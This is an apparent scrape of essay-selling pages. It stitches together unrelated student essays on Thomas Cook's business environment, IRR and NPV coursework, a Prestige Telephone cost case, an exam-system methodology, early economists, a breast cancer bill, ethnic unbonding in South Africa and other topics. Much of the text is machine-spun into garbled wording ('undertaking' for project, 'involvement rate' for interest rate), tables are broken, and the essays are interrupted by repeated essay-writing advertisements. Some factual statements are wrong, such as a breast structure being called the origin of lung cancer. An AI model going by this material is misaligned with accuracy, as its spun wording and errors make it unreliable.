Identify and explain the main political, economic and...

Identify and explain the main political, economic and social factors that are likely to affect Thomas Cook plc. Political factors that may affect Thomas Cook plc may include civil unrest for example in Syria. This may affect Thomas Cook as their sales may decrease due to the lack of interest in visiting that country in turn giving low profits. Thomas Cook could be affected in the same way by the introduction of terrorist attacks, potentially facing a decrease in sales and even flights taking place. Another political factor that Thomas Cook may be affected by are health and safety regulations as they may have to situate capital into further health and safety precautions which could potentially lead to high expenses for the company.†¦show more content†¦Social factors consist of the potential increase in demand for package holidays where Thomas Cook may experience a large increase in sales due to their recognized position as a leading package holiday merchant. Evidently this would give higher profits, providing the opportunity for the company to grow if it desired to. Also if public att itudes on pollution were to arise and things such as pressure groups were to form then this could influence a large amount of people to not want to be involved with all factors sourcing pollution. Due to Thomas Cook’s significant contribution towards pollution through the emissions produced from their planes, this could mean that due to the influence of the attitudes the sales may decrease and so less profit is retained. Another factor of social influence on Thomas Cook may be demographic change. For example if a country were to experience a larger single status population, this may lower holiday sales for Thomas Cook disallowing them to reach high profit margins due to the norm of holidays being ‘couple’ or ‘family’ event. Overall I think all factors mentioned would affect Thomas Cook plc but I believe that the strongest factor and the one that holds the biggest effect on Thomas Cook is the economic factor, a recession. A recession has the potential to determine whether a large amount of existing orShow MoreRelatedCsr Communication in the Pharma Industry35538 Words   |  143 Pages2. Core concepts of corporate communication 2.1.3. Organization and functions of corporate communication 2.1.4. Corporate Communication as a management function 2.2. Corporate Social Responsibility 2.2.1. Towards a definition of CSR 2.2.2. Organizations and CSR involvement 2.2.2.1. Why companies engage in Corporate Social Responsibility? 2.2.2.2. Involvement levels on CSR 2.2.2.3. CSR and Corporate Communication: a strategy of visibility 2.2.3. Communicating CSR 2.2.3.1. Challenges of CSR communicationRead MoreValuation of Integrated Oil Gas Companies Msc Thesis33042 Words   |  133 PagesMSc Thesis: Valuation of Integra ted Oil Gas Companies Irakli Menabde Valuation of Integrated Oil Gas Companies A comparative analysis of methodologies and empirical practices MSc Thesis MSc in International Business and Economics: Cand. Merc Finance and Strategic Management (FSM) Copenhagen Business School Date 09/10/2008 Author: Irakli Menabde MSc Thesis: Valuation of Integrated Oil Gas Companies Irakli Menabde Abstract The paper examines a number of empiricallyRead MoreCase Study148348 Words   |  594 PagesWhittington Kevan Scholes Steve Pyle For further instructor material please visit: www.pearsoned.co.uk/mystrategylab ISBN: 978-0-273-73557-1 (printed) ISBN: 978-0-273-73552-6 (web) ï £ © Pearson Education Limited 2011 Lecturers adopting the main text are permitted to download and photocopy the manual as required. Pearson Education Limited Edinburgh Gate Harlow Essex CM20 2JE England and Associated Companies around the world. Visit us on the World Wide Web at: www.pearsoned.co.uk ---------------------------------ThisRead MoreMarketing Management130471 Words   |  522 Pagesintroduction Unit structure: 1. Introduction 2. Learning Objectives 3. Marketing Management 3.1. Evolution of marketing management 3.2. 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The internal Rate of Return discount rate Free Essays

The Internal Rate of Return ( IRR ) is the price reduction rate which will bring forth the net nowadays value ( NPV ) of nothing. The IRR represents the true involvement rate earned on an investing over the class of its life. We will write a custom essay sample on The internal Rate of Return discount rate or any similar topic only for you Order Now It is besides used to rank undertakings to be used in direction determinations. Undertakings that have an internal rate of return greater than the cost of capital are worthy of consideration. A2 Year Beta Gamma Delta Investing 2010 -50,000 -100,000 -100,000 A 2011 10,000 35,000 0 A 2012 10,000 35,000 0 A 2013 10,000 35,000 0 A 2014 10,000 35,000 0 A 2015 10,000 35,000 0 A 2016 10,000 A 100,000 A 2017 10,000 A 100,000 A 2018 10,000 A 100,000 A 2019 10,000 A 100,000 A 2020 10,000 A A A 2021 A A A A 2022 A A A A 2023 A A A A 2024 A A A A 2025 A A A A A A A A Internal Rate of Return A A A A 15 % 22 % 20.5 % A A A A3 Rank Undertaking IRR 1 Gamma 22 % 2 Delta 20.5 % 3 Beta 15 % 4 Alpha 14 % 5 Epsilon 12.5 % 6 Zeta 12 % A4 Assuming a 10 % rate of return is required for a ?250000, ?275000, or a ?350000 investing, I would utilize undertaking Gamma, as you can see from the consequences on the tabular arraies shown above, undertaking Gamma, is demoing the highest Internal Rate of Return, fundamentally a true involvement rate for the investing. However, when utilizing the three bounds available and the return sums provided, most undertakings give a negative IRR apart from undertaking Delta. Therefore, undertaking Delta should be used in all three instances. A5 Net nowadays Value ( NPV ) is used to cipher the present value of hard currency flow, associated with an investing. It is a manner of comparing the value of money now with the value of money in the hereafter. Investings with a positive net nowadays value are deserving puting in and the higher the better. A6 A Year Alpha Beta Gamma Delta Epsilon Zeta Investing 2010 -50,000 -50,000 -100,000 -100,000 -100,000 -25,000 A 2011 0 10,000 35,000 0 2,500 11,500 A 2012 5,000 10,000 35,000 0 7,500 10,000 A 2013 10,000 10,000 35,000 0 15,000 5,000 A 2014 10,000 10,000 35,000 0 25,000 5,000 A 2015 10,000 10,000 35,000 0 25,000 A A 2016 10,000 10,000 A 100,000 25,000 A A 2017 10,000 10,000 A 100,000 25,000 A A 2018 10,000 10,000 A 100,000 25,000 A A 2019 10,000 10,000 A 100,000 25,000 A A 2020 10,000 10,000 A A 25,000 A A 2021 10,000 A A A A A A 2022 10,000 A A A A A A 2023 10,000 A A A A A A 2024 10,000 A A A A A A 2025 10,000 A A A A A Internal Rate of Return A A A A A A A 14 % 15 % 22 % 20.5 % 12.5 % 12 % A A A A A A Net Present Value ( presuming a 16 % rate of return ) A A A A A A A ?43,418.06 ?48,332.27 ?114,600.28 ?133,225.02 ?82,022.21 ?23,310.17 A A A A A A A7 Rank Undertaking NPV 1 Delta ?133,225.02 2 Gamma ?114,600.28 3 Epsilon ?82,022.21 4 Beta ?48,332.27 5 Alpha ?43,418.06 6 Zeta ?23,310.17 A8 Looking at both undertakings Gamma and Delta, I believe that it would be more reasonable to utilize undertaking Gamma, as it provides a better return of investing. The Internal Rate of Return is higher than the other undertakings and besides gives a Net Present Value higher than the value capitalised, hence intending that this undertaking would be worthy of investing. A9 A10 There are several factors that need to be looked into before doing a determination on a peculiar undertaking, these include cost, clip, quality, productiveness, client satisfaction, regular and community satisfaction, people, wellness and safety, invention and acquisition and environmental factors. Although there are some unmanageable factors that affect rankings include undertakings of similar size, type, continuance, and nature, while factors are non easy measured, they must hence be considered on a project-by-project footing. B1 Undertaking finance involves both an investing determination and a finance determination. Renting is less capital-intensive than buying, so if a concern has restraints on its capital, it can turn more quickly by renting belongings than it could by buying the belongings outright. There are two types of rentals, a finance rental and an operating rental. A finance rental takes the full cost of the plus so takes on the wagess of ownership other than the legal rubric. It is hence similar to a hire purchase understanding. An operating rental pays a rental fee for the hire of an plus over a period of clip. This rental does non take with it the duty of the care, fixs, and insurance of the plus. Renting, as a beginning of finance for short to medium term ends, can be seen as a direct replacement for borrowing. This means, that, a concern wage for the usage of a merchandise but does non hold to have it. Renting can supply the flexibleness of obtaining indispensable equipment that might otherwise merely be required for a short period or for a peculiar undertaking and so does non justify being purchased outright. A concern may hold a deficit of hard currency, or may prefer to utilize its hard currency for other intents so they may non wish to maintain an plus for good so may purchase on a rental. This undoubtedly helps effectual concern planning. The payments made are fixed and will non fluctuate as involvement rate alteration. The leasing company who owns the equipment is responsible for its upkeep and care adding to the attractive force particularly for little or average sized companies necessitating to understate the hazard of any extra costs happening. C1 â€Å" The Accounting System and the careful usage of accounting studies can lend to effectual motive † Accounting is the method in which fiscal information is gathered, processed, and summarised into fiscal statements and studies. The accounting system is the system that collects and shops the informations and so processes it into studies. These studies provide information to assist determination shapers manage administrations more expeditiously and strategically. An accounting system can be a manual accounting system, although today, we use computer-based systems uniting the resources and capableness of information engineering with traditional accounting methods and controls. Fiscal statements are prepared from the information in your test balance, which is constructed by the system, hence the information must be right. Valid reported information must be consistent, prompt, and accurate and relate to a specific clip period. Puting up a good accounting system and understanding the Numberss produced can do a major difference in how your concern goes in the long tally. If the accounting system is updated right and expeditiously, so the studies generated will supply staff and the concern a true image of where the concern stands financially. Motivation is the driving force which causes us to accomplish ends. Therefore, when staff view the studies, it provides them with an inducement to accomplish better consequences. As clip evolves, staff go more motivated as they see good consequences coming in. Accounting records are of import because the ensuing fiscal statements and studies aid you plan and make determinations. They may be used by some 3rd parties ( bankers, investors, or creditors ) and are needed to supply information to authorities bureaus, such as the Internal Revenue Service. How to cite The internal Rate of Return discount rate, Essay examples

Online Exam System Ciss free essay sample

Figure 1 shows the different stages of the FDD that were undertaken to realize the analysis, design and development of the proposed system. These stages are â€Å"Develop an Overall Model†, â€Å"Build a Features list†, â€Å"Plan by Feature†, â€Å"and Design by Feature† and â€Å"Build by Feature†. Figure 1 The Feature Driven Development Model [pic] Develop an overall model. This stage entailed the activities in identifying the existing processes in conducting the entrance examination of the Philippine Military Academy. In this stage, stakeholders of the proposed system were interviewed, while related documents and studies were also studied. The processes of the existing management of the entrance examination were presented through flowcharts. Build a feature list. This stage helped the researcher in discovering and identifying the different features of the proposed Entrance Examination System of the Philippine Military Academy. The features were then used to identify the boundary of the study. The Use Case Diagram was utilized to support this stage. We will write a custom essay sample on Online Exam System Ciss or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Plan by feature. It was the stage that allowed the researchers to classify the different features that were earlier identified. Groupings of the identified features were used to recognize the modules and subsystems that were designed and developed incrementally. Design by feature and build by feature are the stages that were incremented until the desired system output was achieved. In this stage, the stakeholders of the system determine the validity of each increment output. Design by feature. The design by feature stage determined the necessary flow in developing the different features based on their classifications. This specifically organized the development of the modules and subsystems based on the previous stage. Build by feature. The build by feature stage developed the system based on the module and subsystems classification and design. Data Gathering Techniques In order to afford this study with its needed resource materials, the following data gathering techniques are employed by the researchers. Interview. In this study, interview was conducted to different PMA staffs to collect detailed information about their experiences and impressions about the entrance examination and to obtain feedback about the processes and multiple perspectives on outcomes from the stakeholders. Library Method. This method involves gathering resource materials through books, journals and previous manuscripts. The developers read the articles and entries from books, magazines, and periodicals to enhance knowledge base on the project. Internet Research. This involves browsing and using references made available from the internet that is readily accessible reference materials, providing insights on building an entrance examination system, its structures and design and the contents needed. Sources of Data Thorough discussions of the processes in relation to the functions of the entrance examination were provided. Additional information was derived from manuals of electronic components such as the profile, history, traditions and general information of the Philippine Military Academy which were taken from their official website at www. pma. com. ph. As supplementary information, thesis books were also used as essential references. A mention of reports that maybe generated which are considered important to the entrance examination such as statistical reports were also discussed. Software Development Tools The following are the software development tools that were used to design and develop the Online Entrance Examination System: Notepad++. This was used as a text editor for encoding and editing codes in developing the system. Adobe Photoshop CS5 and Adobe Fireworks CS5. These photo editing softwares were used in creating and editing images for the interface designs of the system. MySQL. This was used as the preliminary database server of the system. It acts as the storage of related input data like the questions, choices and others. Apache Server. This was the preliminary HTTP server.

Prestige Telephone Company Essay Essay Example

Prestige Telephone Company Essay Essay 1. Identify the costs that are relevant to the analysis to stop Prestige Data Servicess: Relevant costs in the analysis by Prestige Telephone Company determination to stop Prestige Data Services include: fixed costs which must be absorbed by the parent company ( Prestige Telephone ) upon shutdown ; outstanding Prestige Data Services debts ; costs of retraining maintained employees ; costs associated with outsourcing informations services antecedently provided by Prestige Data Services ; chance cost of utilizing infinite rented to Prestige Data Services ; selling costs attributed to geting extra Prestige Data Services clients ; costs of increasing promotional activities of Prestige Data Services. In add-on. Prestige Telephone Company should see the qualitative cost of reduced employee morale which may ensue upon closure of Prestige Data Services. We will write a custom essay sample on Prestige Telephone Company Essay specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Prestige Telephone Company Essay specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Prestige Telephone Company Essay specifically for you FOR ONLY $16.38 $13.9/page Hire Writer Care costs 2. Justify why each of the costs in point 1 is relevant: The costs listed supra are all relevant because they each vary with the shutdown determination. ? Fixed costs which must be absorbed by the parent company ( Prestige Telephone ) upon shutdown: Payroll. charge. aggregations. and other corporate services were provided by Prestige Telephone in return for an sum from Data Services based on rewards and wages. These fixed costs allocated to Prestige Data Services must now be accounted for by the parent company.? Costss of retraining employees: If employees are retained by Prestige Telephone. rewards and wages that were antecedently incurred by the Data Services line will hit Prestige Telephone’s budget. Besides. new accomplishments will be required of employees retained by the company every bit good as attach toing preparation disbursals.? Costss associated with outsourcing informations services antecedently provided by Prestige Data Servicess: Prestige Telephone will still necessitate the services Prestige Data Services supply and therefore will necessitate to outsource them. Since Prestige Telephone was utilizing a monetary value cap based on estimated informations use in 1999. they were efficaciously acquiring discounted informations service rates from the subordinate. If Data Services is shut down. the company might incur much higher service disbursals.? The care cost is relevant because if Data Services is shut down the company will no longer incur this costs. therefore it needs to be considered as a cost the parent company can extinguish.? Opportunity cost of utilizing infinite rented to Prestige Data Servicess: If Prestige Telephone decides to close down the Data Services Company. the parent company will lose the $ 8000 monthly rental fee paid by the current subordinate. Additionally. Prestige Telephone must see the chance cost of leasing the infinite to another company or service that may supply them with more income.? If Prestige Data Services is shut down. selling costs attributed to geting extra Prestige Data Services clients and promotional activities will no longer be necessary.? Termination of Prestige Data Services employees as a consequence of shut down may cut down the morale of any maintained employees or employees of the parents company. Prestige might see reduced productiveness or increased turnover as a consequence. 3. Identify the costs that are NOT relevant to the analysis to stopPrestige Data Servicess: Costss non relevant to the determination are done for costs such as the costs of developing Prestige Data Service employees. investings in the IT substructure. and any owned Prestige Data Services Equipment. In add-on. the fixed part of the electricity costs is non relevant. Depreciation costs are besides non relevant. The rentals for computing machine equipment are non-cancelable and therefore may be considered sunk costs because Data Services is expected to cover the costs associated with the rentals prior to being shutdown. However if Prestige Data Services is unable to pay off the rentals. these costs will go relevant because the parent company. Prestige Telephone would be responsible for debts owed. 4. Justify why each of the costs in point 3 is NOT relevantFixed cost: Costss of equipment and fixtures are incurred whether or non Prestige Data Service continues to run. Even if the subordinate company is shut down. these fixed costs must still be taken into consideration. Some costs. such as electricity. whether used or non. will be charged for a certain basic sum every month and hence should non be considered relevant. Depreciation is non relevant because cost of equipment is a sunk cost. There is no important salvage value for the equipment. 5. Identify the grosss that are relevant to the analysis to stop Prestige Data Servicess: Grosss relevant to the analysis to stop the operation are commercial gross revenues gross which includes computing machine usage and other. 6. Justify why the grosss in point 5 are relevant:The grosss in point 5 differ across options. In other words. these grosss are straight tied to Prestige Data Services. If the production capacity of Prestige Data Services decreases to zero. all the gross ensuing from these operations will besides diminish to $ 0. which decreases the subsidiary’s part to its parent company. 7. Identify the grosss that are NOT relevant to the analysis to stop Prestige Data Services. The gross of Prestige Telephone and the gross from intercompany Gross saless are non relevant to the determination. 8. Justify why the grosss in point 7 are NOT relevant.As we explained in point 6. all grosss from Prestige Data Services will alter depending on the determination. As the production capacity is varied. all the grosss will change. These alterations show the expected overall consequence on net income. Gross at Prestige Telephone will non change based on the determination to close down Prestige Data Services because Prestige Telephone’s gross is non tied to the operations of the subordinate. From the position of the Parent Company. Intercompany Gross saless are a gross watercourse for the subordinate. but an equal cost to the Parent. therefore it doesn’t impact the balance sheet of the parent company. 9. Is Prestige Data Services truly a job to the parent company. Justify your reply. Prestige Data Service is non a job to the parent company. This is chiefly because: —Prestige Telephone will necessitate to absorb Prestige Data’s relevant fixed costs.—Prestige Telephone will hold to pay higher rates for services antecedently provided by Prestige Data Services. Regardless of possible sunk costs such as equipment rentals ( $ 95. 000 ) . Prestige Data Service positively contributes to the parent company. Additionally. if Prestige Data Services were to bear down Prestige Telephone the same rates ( $ 800 per service hr ) it charges for commercial services. the company would non be runing at a loss. If these commercial rates are considered competitory so the subordinate is salvaging its parent money. Furthermore. there are several schemes that can be implemented to increase the concern value of Prestige Data Services. such as cut downing computing machine use. 10. Fix monthly income statements for January. February. and March which back up your reply to item 9.

Economic progress essays

Economic progress essays The economy is a mechanism that allocates scarce resources among competing uses. One of the most crucial parts of any country which can make it powerful and outstanding is economic. Economic activity is what people do to cope with scarcity. It is obvious that any of us deals with things which are related to the economy every day. From a long time ago economist try to analyse the economy of each situation, to predict the future economics and to describe the function and working parts of an economy. The three most famous economists whose theories were studied in this course were Adam Smith, David Ricardo and Robert Malthus. When we read these three economist's theories we recognize that Adam smith was optimistic while David Ricardo and Malthus were approximately pessimistic. In 1776, new technologies were being invented and applied to the manufacture of cotton, wool, Iron, transportation and agriculture in what came to be called the "industrial revolution". Adam smith was keenly interested in these events .he wrote the treatise that founded economic science, An inquiry into the nature and causes of the Wealth of nations. Adam smith who is called the father of economy believed in capitalist's system which contains market regulates the prices, production and income and the government do not interfere (Laissez-Faire) and the "invisible hand" which he used to demonstrate how self-interest guides the most efficient use of resources in a nation's economy, with public welfare coming as a by-product. When each person makes the best possible economic choice, that choice leads as if by "an invisible hand" to the best out come for society as whole. Smith's belief that competition, the market's invisible hand, would lead to proper pricing played a large role in hi s economic policy recommendations. He therefore strongly opposed any government intervention into business affairs. Trade restrictions, minimum wage laws, and product regulation were a...

How to Determine a Reading Schedule

How to Determine a Reading Schedule Despite your best efforts, its sometimes difficult to stick with your plan to finish that list of books. Other projects get in the way. You may find yourself overwhelmed by the size of the book youve chosen. You may just let the habit of reading slide or slip until youve forgotten much of the  plot and/or characters; and, you feel that you might as well just start over. Heres a solution: Set up a reading schedule to get you through those books! All you need to get started is a pen, some paper, a calendar, and of course, books! How to Set up a Reading Schedule Pick a list of books youd like to read.Determine when you will start reading your first book.Select the order in which youd like to read the books on your reading list.Decide how many pages you will read every day. If youve decided that youll read 5 pages per day, count the number of pages in the book that youve selected to read first.Write the page span (1-5) down on paper next to your selected start date. Its also a great idea to write your schedule up on the calendar, so you can track your reading progress by crossing off the date when youve finished your reading for that day.Continue through the book, tracking where each stopping point will be. You may decide to mark the stopping points in your book with a post-it or pencil mark, so the reading will seem more manageable.As you page through the book, you may decide to alter your reading schedule (add or subtract pages for a particular day), so youll stop and/or start on a new chapter or section of the book.Once youve determined th e schedule for the first book, you can move on to the next book on your reading list. Follow the same process of paging through the book to determine your reading schedule. Dont forget to write the page numbers down next to the appropriate date on a piece of paper and/or on your calendar. Get Outside Support By structuring your reading schedule in this way, you should find it easier to get through those books on your reading list. You can also get your friends involved. Share your schedule with them and encourage them to join you in your reading. Its great fun, youll be able to discuss your reading experience with others! You could even turn this reading schedule into a book club.

H.R.111 Breast Cancer Patient Protection Act of 2011 Research Paper

H.R.111 Breast Cancer Patient Protection Act of 2011 - Research Paper Example The bill aims to ensure that insurance coverage be provided for the inpatient hospital stay for a minimum period post mastectomy and for outpatient stay in lumpectomy. Conflicting arguments prevent a consensus on the bill. On one hand it is claimed that post breast surgery the patient need physical care, guidance as well as psychological counseling. On the other hand researchers provide evidence in favor of ambulatory breast surgery. The current paper presents a comprehensive view of the various aspects of H. R. 111 bill and its impact on nurse’s role if enacted. H.R.111 BREAST CANCER PATIENT PROTECTION ACT OF 2009 BACKGROUND BREAST CANCER Cancer involves formation of lump or ‘tumor’ within a specific organ due to uncontrolled division of cells. Breast cancers effects lobules in breasts and have been defined as â€Å"the cancer of tissues of the breast, usually the ducts and lobules. It occurs in both male and female breast; although male breast cancer is rareâ⠂¬ . (National Cancer Institute, 2011) Breasts are modified skin glands located between the clavicles and sixth to eighth rib on the chest wall, and develop from the mammary ridge in the embryo. The gland tissue or lobules in the breast are responsible for milk production and are connected by ducts to the nipples. Besides the lobules and the ducts, breast also comprises of fatty, connective and lymphatic tissue. Recent studies provide evidence for the presence of more than 20 lobes or segments comprising of major lactiferous ducts involved in conducting milk to the nipples from the lobules. Each lobule, also known as the terminal portion of the duct system; comprises of multiple ductules that form its glandular acini, and the specialized connective tissue enveloping it. The rest of the breast comprises of stromal connective tissues that are histologically distinct. The terminal duct along with its lobular unit; is termed as terminal duct lobular unit (TDLU), and is usually the poin ts of origin of lung cancer. It has been hypothesized that this area possesses stem cells which are responsible for the tumor formation (Kopans, 2007). In situ breast cancer includes cancers restricted to ducts (ductal carcinoma in situ or DCIS), and lobules (lobular carcinoma in situ or LCIS); i.e. the tumor remains within its place of origin. In contrast invasive cancer refers to tumor spread beyond the place of origin, the severity of which is determined by the level of invasiveness. The cancers are diagnosed through needle or surgical biopsy. INCIDENCES OF BREAST CANCER Breasts cancers are the second most prevalent form of cancer next to skin cancer affecting women in US. During the year 2008, 40,480 women and 450 men were reported to have died from breast cancer. In the same year 182,460 and 1990 new cases of invasive breast cancer were reported for women and men respectively. With changes in life style patterns, and reproductive behavior the risks for occurrence of breast canc er are expected to rise. On the basis of data for the occurrence of breast cancer in the period spanning 1995-2007, it has been estimated that during the year 2011 a total of 230,480 new cases of invasive breast cancer and 75,650 additional cases of in situ breast cancer will be diagnosed. Further 39,520 women are expected to suffer death due to breast cancer making it the second major cancer in terms of mortality (next to lung cancer). Women become more vulnerable to breast cancer with advancing age; the threat rising sharply

Questionnaire Essay Example | Topics and Well Written Essays - 500 words - 1

Questionnaire - Essay Example All fully engaged employees have a deep rooted bond with the organization and they develop feelings of loyalty, control, trust and empowerment at work. Such personnel are able to identify vital business opportunities required for growth and have the willpower of committing value added personal and emotional energies mandatory for excelling in the professional life (Sanders, 2012). For the organization, employee engagement is a crucial element as it enhances its efficiency which increases the customer satisfaction, lowers the employee turnover and boosts the productivity rate (ADP Research Institute, 2012). The questionnaire is designed to get your viewpoint about the organization’s working conditions. You are required to give honest, true and fair opinion about the following statements. In front of each statement, select the box which is an indication of your opinion related to the statement. The main purpose of all of these questions is to get an insight about the employee’s feeling about the work and value within the organization. With the help of this questionnaire, the company will be able to determine the effectiveness of employee engagement within the business and monitor the results over a period of time. ADP Research Institute. (2012). Employee satisfaction vs. Employee engagement: Are they the same thing? Retrieved February 24, 2014 from

Ethnic Unbonding in South Africa Essay Example for Free

Ethnic Unbonding in South Africa Essay Manuel Castells notion of ‘ethnic unbonding’ refers to: the gradual withdrawal certain African-Americans are undergoing, so that they no longer are a member of their initial ethnic group. ‘Ethnic unbonding’ is a process where individuals remove themselves from their ethnic groups, because they are either ashamed or humiliated to be associated as part of a stigmatized ethnic identity. â€Å"So, race matters a lot. But, at the same time, the class divide among blacks has created such fundamentally different living conditions that there is growing hostility among the poor against those former brothers that left them out. Most middle-class blacks strive to get ahead not only from the reality of the ghetto, but from the stigma that echoes from the dying ghetto project on them through their skin. They do so particularly, by insulating their children from the poor black communities (moving to suburbs, integrating them into white-dominated private schools), while, at the same time, reinventing an African-American identity that revives the themes of the past, African or American, while keeping silent on the plight of the present† Castell, M p.57. Manuel Castell raises cognizance to the fact that black South Africans are gradually disassociating themselves from their original ethnic identities. (‘Black South Africans’ refers to the non-white individuals of South Africa, those who were disadvantaged and traduced in the homelands during the Apartheid regime). These ethnic unbonding patterns were first noticed among African-Americans and now South Africans too are gradually adopting them. Citizens split from their ethnic groups to mainly better their lives, since being a part of a stigmatized ethnic group cannot ensure a successful and pleasant lifestyle. Parents want a better life for the children and they find that to live a better quality lifestyle one needs to firstly get an education. So they get a good education and become a success in life only to put their stigmatized ethnic background behind them, to avoid risking the loss of their achievements. Ethnic performances are rarely practised and individuals lose sight of where they come from. â€Å"In the last two decades, geographers have become extremely interested in the issue of ethnicity. Ethnic groups are found in essentially all societies. Ethnic groups are populations that feel a common bond and have a sense of common origin that distinguishes them from other groups. Religion, language, national origin, and skin colour are all used to various degrees by ethnic groups to distinguish themselves from others. It is estimated that the 200 or so independent countries recognized by the United Nations are made up of about 5000 ethnic groups. Increased migration of people in the last 200 years has produced a complex pattern of ethnic groups. Essentially, ethnicity is a spatial concept. Ethnic groups are associated with clearly recognized territories, either some large homeland district or some smaller urban or rural enclaves in which they are the primary or exclusive occupant. In addition, they have somehow marked these places with certain distinguished cultural signs. † (http://teacherweb. ftl. pinecrest. edu/snyderd/APHG/Unit%203/culturenotes. htm). Ethnicity is socially important. It gives certain individuals a feeling of belonging and prevents one from feeling isolated and alone. It contributes immensely to one’s core identity, focusing mostly on the construction of one’s personal identity, and in turn having an effect on the type of person an individual turns out to be in the future. It forms the basis of an individual’s structure and agency. Ethnicity also promotes national strength which can be built from the diverse cultural resources present in South Africa. It brings together a national identity. ‘Afrikaners historically considered themselves the only true South Africans and, while granting full citizenship to all residents of European descent, denied that status to people of colour until the democratic transition of 1994. British South Africans retain a sense of cultural and social connection to Great Britain without weakening their identity as South Africans. A similar concept of primary local and secondary ancestral identity is prevalent among people of Indian descent. The Bantu-speaking black peoples have long regarded themselves as South African despite the attempts of the white authorities to classify them as less than full citizens or as citizens of ethnic homelands (Bantustans) between 1959 and 1991. Strong cultural loyalties to African languages and local political structures such as the kingdom and the chieftaincy remain an important component of identity. National identity comes first for all black people, but belonging to an ethnic, linguistic, and regional grouping and even to an ancestral clan has an important secondary status. (http://www. everyculture. com/Sa-Th/South-Africa. html). As a result of years of racial separation and discrimination, the majority of South African citizens of which are black, have been severely ill-treated based on the colour of their skin. â€Å"A race is a population that shares visible physical characteristics from inbreeding and that thinks of itself or is thought of by outsiders as distinct. It has been used by societies to justify poor treatment of minority groups† ( http://www. sociologyguide. com/questions/ethnicity. php). For decades black people have been slandered and stereotyped by the white superior citizens, to be uncultured individuals. White people were entirely prejudiced against the black people. ‘Prejudice is a judgment based on group membership or social status. Prejudice may be formed through both individual and group influences including socialization, rationalizing through stereotypes, the scapegoating process, reinforcement of a self-fulfilling prophecy ramification of an authoritarian personality and degree of contact with minority groups.’ http://www. sociologyguide. com/questions/ethnicity. php. How black ethnic groups emerged? Being ethnic is relating to or a characteristic of a sizable group of people sharing a common and distinctive racial, national, religious, linguistic or cultural heritage. (http://www. thefreedictionary. com. ) Just like the trends in America, black citizens of South Africa formed groups based on commonalities. These people shared hardships and sufferings, as a result of being excluded from having any opportunities and privileges, by the white superiorities. The white citizens undermined the black citizens for centuries and thus blacks were forced to form close relationships with one another based on the fact that they had common deprivations. ‘Bantustans’ were formed in South Africa and these areas were wastelands of hardship. Residents of these areas were forced to deal with struggle and poverty thus leading to an increase in crime rate. People did what they could to survive. Stealing, drug dealing etc. all the forms of violence and corruption exploded from these areas. Put a group of homeless and poor people together and what do you get? Chaos. White people were aware of the disorder in the homelands and ever since then stereotypes were given to black people. What provoked ethnic unbonding? Ethnic unbonding is when individuals from an ethnic group break away from their core cultural identity and instead pursue an identity of their own. Individuals mainly do this to improve their standards of living. The stigmas attached to certain ethnic groups are undesirable and individuals are afraid of being part of these unpleasant stereotypes. Certain groups especially ethnic groups have harsh associations linked to them and for these people to improve their quality of life they need to detach themselves from their ethnic groups. The negativity one receives from being part of a stigmatized ethnic group for some is too much to handle. People want to be freed from the harmful judgements of the past, and thus completely detaching themselves from their core ethnic identity is the best way out. ‘’Race and ethnicity are central – to America, as to other societies’ dynamics – their manifestations seem to be deeply altered by current social trends. ’’ (Castells, 1997: 53). Globalisation affects people’s choices on being or not being part of an ethnic group. Westernization transforms certain cultures and moulds them into a more modernized culture, with less practices and more simplicity. Cultural identity is a victim of globalization. Culture is being altered so much by globalization and media effects that soon the culture will transform into something completely different. According to Tomlinson, J. p. 23 states that â€Å"it is fair to say that the impact of globalization in the cultural sphere has, most generally, been viewed in a pessimistic light. Typically, it has been associated with the destruction of cultural identities, victims of the accelerating encroachment of a homogenized, westernized, consumer culture. † Conclusion Ethnic unbonding is inevitable. Every single individual wants a decent lifestyle and a decent life is one with no racial, gender or ethnic inequalities. Ethnic unbonding will continue to take place in South Africa as well as the rest of the world, because the desire for one to have an improved standard of living exceeds the desire to want to belong to an ethnic area. Castells concept of ethnic unbonding is a notion unknowingly practiced amongst the people of South Africa. Castell believes that individuals belonging to certain ethnic groups are developing boundaries within themselves. However, I think that people can still live a better life and yet maintain a part of their ethnicity. Lifestyles can be adjusted so that some form of their religion and culture is integrated into their everyday life and not forgotten. Future generations might be at risk of never knowing exactly where they come from, and being clueless about their ethnic and cultural heritage. 1. Castells, Manuel. 1997. The power of identity. Cambridge, MA. Blackwell, 52-59 2. Tomlinson, John. Globalization and cultural identity http://www. polity. co. uk/global/pdf/gtreader2etomlinson. pdf(12September 2011) 3. Definitions of race, prejudice and discrimination: http://www. sociologyguide. com/questions/ethnicity. php (12September 2011) 4. Countries and their Culture South Africa http://www. everyculture. com/Sa-Th/South-Africa. html (12September 2011) 5. THE GLOBALIZATION OF CULTURE, AND THE GEOGRAPHY OF INEQUALITY: RACE, ETHNICITY GENDER http://teacherweb. ftl. pinecrest. edu/snyderd/APHG/Unit%203/culturenotes. htm (12September 2011) 6. Definition of Ethnic: http://www. thefreedictionary. com (12September 2011).

Philip Slater’s The Pursuit of Loneliness :: Philip Slater Pursuit Loneliness Essays

Philip Slater’s The Pursuit of Loneliness The purpose of Philip Slater’s book The Pursuit of Loneliness is to â€Å"reach some understanding of the forces which are unraveling our society† for his readers (xxii). It is a common conception that America is the best country, an idea which is substantiated by economic figures. However, Americans are not happy. According to Slater, â€Å"all societies frustrate certain human needs and satiate others (because) humanity and any particular society’s idea of what humanity should be is never very exact† (2). In America, the gap between reality and perception is growing farther and farther apart, at human expense. Americans work their entire lives for the future, in the pursuit of economic security, which ultimately leads to continued unhappiness in the present. American culture â€Å"struggles more and more violently to maintain itself, (but) is less and less able to hide its fundamental antipathy towards human life and human satisfaction† (122). Sla ter’s book teaches people about the existence of the â€Å"wide gap between the fantasies Americans live by and the realities they live in,† in the hopes that this will inspire people to react in positive ways (xxiii). Cooperation played a major role in the development of homo sapiens as the dominant species on earth. Americans do not understand its importance. It is understandable to place an extremely high level of importance upon self reliance in a dog eat dog society, but individualism has become fear and loathing of others. This motivates people to develop ways they can spend less time with each other. The ultimate expression of individualism, driving a car, illustrates the problem of denying â€Å"the reality of human interdependence† (30). â€Å"Some people can’t afford to heat their homes because we all want to ride expensive vehicles on crowded roads at high speeds, killing one another and polluting the atmosphere† (2). This situation cannot be repaired until we accept the inherent power in cooperation. â€Å"The more we try to solve our problems by increasing personal autonomy, the more we find ourselves at the mercy of these mysterious, impersonal, and remote mechan isms that we have ourselves created† (48). A large part of this problem is that many Americans buy into the ploys of capitalism, sacrificing happiness for material gain. 